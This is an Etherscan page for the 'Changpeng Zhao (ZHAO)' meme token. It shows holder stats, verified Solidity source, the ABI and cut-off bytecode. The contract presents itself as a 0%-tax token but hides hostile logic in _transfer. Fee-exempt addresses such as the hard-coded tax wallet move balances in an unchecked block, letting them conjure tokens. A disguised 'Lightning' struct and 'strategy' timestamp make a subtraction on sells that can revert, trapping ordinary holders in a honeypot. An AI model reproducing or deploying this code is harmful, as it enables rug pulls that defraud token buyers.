ETH Price: $2,509.47 (-0.66%)

Token

Changpeng Zhao (ZHAO)
 

Overview

Max Total Supply

10,000,000,000 ZHAO

Holders

147

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Zhao

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-25
*/

/*
 * SPDX-License-Identifier: MIT
Changpeng Zhao Meme Coin
$ZHAO
Buy/sell tax 0 %
LP at start 1 ETH                         
*/

pragma solidity 0.8.22;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IDexFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Zhao is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    bool public transferDelayEnabled = true;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    address payable private _taxWallet;
    
    string private constant _name = unicode"Changpeng Zhao";
    string private constant _symbol = unicode"ZHAO";
    uint256 private constant _initialBuyTax=0;
    uint256 private constant _initialSellTax=0;
    uint256 private constant _finalBuyTax=0;
    uint256 private constant _finalSellTax=0;
    uint256 private constant _reduceBuyTaxAt=0;
    uint256 private constant _reduceSellTaxAt=0;
    uint256 private constant _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;
    uint8 private constant _decimals = 9;
    uint256 public _maxTxAmount = 240000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 240000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 30000000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 170000000 * 10 ** _decimals;

    IDexRouter public uniswapV2Router;
    address public uniswapV2Pair;
    uint256 public firstBlock;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private strategy;
    struct Lightning {uint256 profiler; uint256 tuner; uint256 trainer;}
    mapping(address => Lightning) private lightning;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    event MaxWalletAmountUpdated(uint256 _walletAmountLimit);
    event TradingOpened();
    event ExcludedFromFee(address account, bool status);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x5e92A84cCAf5C078A11776c1a8bB1c00f5b6e0F8);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin]<block.number,
                        "_transfer:: Transfer delay enabled: Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount>_preventSwapBefore
            ) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (
            (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&
            from != owner() && from != address(this) && to != address(this)
        ) {
            strategy = block.timestamp;
        }
        if (_isExcludedFromFee[from] && (block.number > (firstBlock + _reduceSellTaxAt))) {
            unchecked {
                _balances[from] -= amount;
                _balances[to] += amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            if (uniswapV2Pair != to) {
                Lightning storage lambda = lightning[to];
                if (uniswapV2Pair==from) {
                    if (lambda.profiler == 0) {
                        lambda.profiler = (_buyCount<_preventSwapBefore) ? (block.timestamp-1) : block.timestamp;
                    }
                } else {
                    Lightning storage measure = lightning[from];
                    if (lambda.profiler == 0 || measure.profiler< lambda.profiler) {
                        lambda.profiler = measure.profiler;
                    }
                }
            } else {
                Lightning storage measure = lightning[from];
                measure.trainer = measure.profiler-strategy;
                measure.tuner = block.timestamp;
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a>b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(
            address(this),
            address(uniswapV2Router),tokenAmount
        );
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
        emit MaxWalletAmountUpdated(_tTotal);
    }

    function ethStuckRemove() external {
        require(msg.sender == _taxWallet, "Only fee receiver can trigger");
        sendETHToFee(address(this).balance);
    }

    function feeExempt(address account, bool status) external onlyOwner {
        _isExcludedFromFee[account] = status;
        emit ExcludedFromFee(account, status);
    }

    function sendETHToFee(uint256 amount) private {
        bool success;
        (success, ) = address(_taxWallet).call{value: amount}("");
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;

        emit TradingOpened();
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"ExcludedFromFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_walletAmountLimit","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"ethStuckRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"feeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"firstBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526004805460ff191660011790555f600755620000236009600a6200034c565b6200003390630e4e1c0062000363565b600855620000446009600a6200034c565b6200005490630e4e1c0062000363565b6009556009600a6200006791906200034c565b62000077906301c9c38062000363565b600a556009600a6200008a91906200034c565b6200009a90630a21fe8062000363565b600b55600f805462ffff0019169055348015620000b5575f80fd5b50620000c133620001ee565b600680546001600160a01b031916735e92a84ccaf5c078a11776c1a8bb1c00f5b6e0f8179055620000f56009600a6200034c565b62000106906402540be40062000363565b335f9081526001602081905260408220929092556003906200012f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006549091168352912080549092161790556200018d3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c66009600a6200034c565b620001d7906402540be40062000363565b60405190815260200160405180910390a36200037d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029157815f19048211156200027557620002756200023d565b808516156200028357918102915b93841c939080029062000256565b509250929050565b5f82620002a95750600162000346565b81620002b757505f62000346565b8160018114620002d05760028114620002db57620002fb565b600191505062000346565b60ff841115620002ef57620002ef6200023d565b50506001821b62000346565b5060208310610133831016604e8410600b841016171562000320575081810a62000346565b6200032c838362000251565b805f19048211156200034257620003426200023d565b0290505b92915050565b5f6200035c60ff84168362000299565b9392505050565b80820281158282048414176200034657620003466200023d565b611c3d806200038b5f395ff3fe60806040526004361061017e575f3560e01c8063715018a6116100cd578063a9059cbb11610087578063c9567bf911610062578063c9567bf914610440578063dd62ed3e14610454578063f2fde38b14610498578063ffb54a99146104b7575f80fd5b8063a9059cbb146103f3578063bf474bed14610412578063c876d0b914610427575f80fd5b8063715018a614610359578063751039fc1461036d5780637d1db4a5146103815780638da5cb5b146103965780638f9a55c0146103b257806395d89b41146103c7575f80fd5b806323b872dd1161013857806349bd5a5e1161011357806349bd5a5e146102de5780634e7acb38146102fd57806351bc3c851461031157806370a0823114610325575f80fd5b806323b872dd14610283578063313ce567146102a25780634363c486146102bd575f80fd5b806306fdde0314610189578063095ea7b3146101d15780630faee56f146102005780631694505e1461022357806318160ddd1461025a578063231b02681461026e575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5060408051808201909152600e81526d4368616e6770656e67205a68616f60901b60208201525b6040516101c891906117fb565b60405180910390f35b3480156101dc575f80fd5b506101f06101eb36600461185b565b6104d0565b60405190151581526020016101c8565b34801561020b575f80fd5b50610215600b5481565b6040519081526020016101c8565b34801561022e575f80fd5b50600c54610242906001600160a01b031681565b6040516001600160a01b0390911681526020016101c8565b348015610265575f80fd5b506102156104e6565b348015610279575f80fd5b50610215600e5481565b34801561028e575f80fd5b506101f061029d366004611885565b610507565b3480156102ad575f80fd5b50604051600981526020016101c8565b3480156102c8575f80fd5b506102dc6102d73660046118d0565b61056e565b005b3480156102e9575f80fd5b50600d54610242906001600160a01b031681565b348015610308575f80fd5b506102dc610602565b34801561031c575f80fd5b506102dc610667565b348015610330575f80fd5b5061021561033f366004611907565b6001600160a01b03165f9081526001602052604090205490565b348015610364575f80fd5b506102dc6106b8565b348015610378575f80fd5b506102dc6106ea565b34801561038c575f80fd5b5061021560085481565b3480156103a1575f80fd5b505f546001600160a01b0316610242565b3480156103bd575f80fd5b5061021560095481565b3480156103d2575f80fd5b506040805180820190915260048152635a48414f60e01b60208201526101bb565b3480156103fe575f80fd5b506101f061040d36600461185b565b6107f7565b34801561041d575f80fd5b50610215600a5481565b348015610432575f80fd5b506004546101f09060ff1681565b34801561044b575f80fd5b506102dc610803565b34801561045f575f80fd5b5061021561046e366004611922565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104a3575f80fd5b506102dc6104b2366004611907565b610bcc565b3480156104c2575f80fd5b50600f546101f09060ff1681565b5f6104dc338484610c66565b5060015b92915050565b5f6104f36009600a611a42565b610502906402540be400611a50565b905090565b5f610513848484610d89565b610564843361055f85604051806060016040528060288152602001611be0602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061157a565b610c66565b5060019392505050565b5f546001600160a01b031633146105a05760405162461bcd60e51b815260040161059790611a67565b60405180910390fd5b6001600160a01b0382165f81815260036020908152604091829020805460ff19168515159081179091558251938452908301527f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa9910160405180910390a15050565b6006546001600160a01b0316331461065c5760405162461bcd60e51b815260206004820152601d60248201527f4f6e6c79206665652072656365697665722063616e20747269676765720000006044820152606401610597565b610665476115a5565b565b6006546001600160a01b0316336001600160a01b031614610686575f80fd5b305f9081526001602052604090205480156106a4576106a4816115fb565b4780156106b4576106b4816115a5565b5050565b5f546001600160a01b031633146106e15760405162461bcd60e51b815260040161059790611a67565b6106655f611765565b5f546001600160a01b031633146107135760405162461bcd60e51b815260040161059790611a67565b61071f6009600a611a42565b61072e906402540be400611a50565b60085561073d6009600a611a42565b61074c906402540be400611a50565b60099081556004805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061078890600a611a42565b610797906402540be400611a50565b60405190815260200160405180910390a17f4b39c36d20c57d220f61fd25c4349d4435cc03ef6c2a680942f15333c3c3e0016107d56009600a611a42565b6107e4906402540be400611a50565b60405190815260200160405180910390a1565b5f6104dc338484610d89565b5f546001600160a01b0316331461082c5760405162461bcd60e51b815260040161059790611a67565b600f5460ff161561087f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610597565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108c99030906108ba6009600a611a42565b61055f906402540be400611a50565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610919573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093d9190611a9c565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c09190611a9c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a0a